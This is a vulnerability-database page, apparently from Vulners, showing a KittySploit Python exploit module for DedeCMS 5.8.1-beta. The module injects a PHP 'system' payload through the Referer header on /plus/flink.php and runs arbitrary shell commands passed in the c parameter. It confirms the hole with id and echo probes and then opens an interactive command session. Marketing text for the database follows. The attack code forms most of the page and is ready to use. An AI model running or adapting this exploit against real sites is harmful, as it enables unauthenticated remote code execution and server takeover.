DedeCMS flink.php RCE
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""DedeCMS 5.8.1-beta flink.php variable override RCE — execute session."""
from __future__ import annotations
import re
from urllib.parse import quote
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler
class Module(Exploit, Http_client, Handler):
__info__ = {
'name': 'DedeCMS flink.php RCE',
'description': (
'Exploits DedeCMS 5.8.1-beta variable override via Referer header injection '
'on /plus/flink.php with the c query parameter. Opens an interactive execute session.'
),
'author': ['KittySploit Team'],
'platform': Platform.MULTI,
'payload': {'default': 'nopayload'},
'references': [
'https://srcincite.io/blog/2021/09/30/chasing-a-dream-pwning-the-biggest-cms-in-china.html',
],
'tags': ['dedecms', 'cms', 'rce', 'unauth', 'variable-override'],
'agent': {
'risk': 'critical',
'effects': ['active_exploitation', 'remote_code_execution'],
'expected_requests': 2,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'risk_signals', 'rce'],
'requires': {
'tech_hints_any': ['dedecms'],
},
'chain': {
'produces_capabilities': [
{'capability': 'rce', 'from_detail': 'flink.php Referer override'},
{'capability': 'shell', 'from_detail': 'execute session'},
],
'suggested_followups': ['scanner/http/dedecms_rce_detect'],
},
},
}
base_path = OptString('', 'DedeCMS base path', False, advanced=True)
_REFERER = '<?php "system"($c);die;/*ref'
def _prefix(self) -> str:
base = str(self.base_path or '').strip().rstrip('/')
return base
def execute(self, cmd: str) -> str:
inj = quote(str(cmd), safe='')
path = f'{self._prefix()}/plus/flink.php?dopost=save&c={inj}'
r = self.http_request(
method='GET',
path=path,
headers={'Referer': self._REFERER},
allow_redirects=False,
)
if not r:
return ''
return r.text or ''
def check(self):
body = self.execute('id')
if re.search(r'uid=\d+', body or ''):
return {
'vulnerable': True,
'reason': 'DedeCMS flink.php RCE confirmed via id',
'confidence': 'high',
}
token = self.random_text(8)
if token in (self.execute(f'echo {token}') or ''):
return {
'vulnerable': True,
'reason': 'DedeCMS flink.php RCE confirmed via echo probe',
'confidence': 'high',
}
return {
'vulnerable': False,
'reason': 'flink.php did not return command output',
'confidence': 'medium',
}
def check_execute(self):
token = self.random_text(8)
return token in (self.execute(f'echo {token}') or '')
def run(self):
if not self.check_execute():
self.not_vulnerable()
return False
return self.handler_execute()
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
04 Sep 2026 06:36Current
6Medium risk
Vulners AI Score6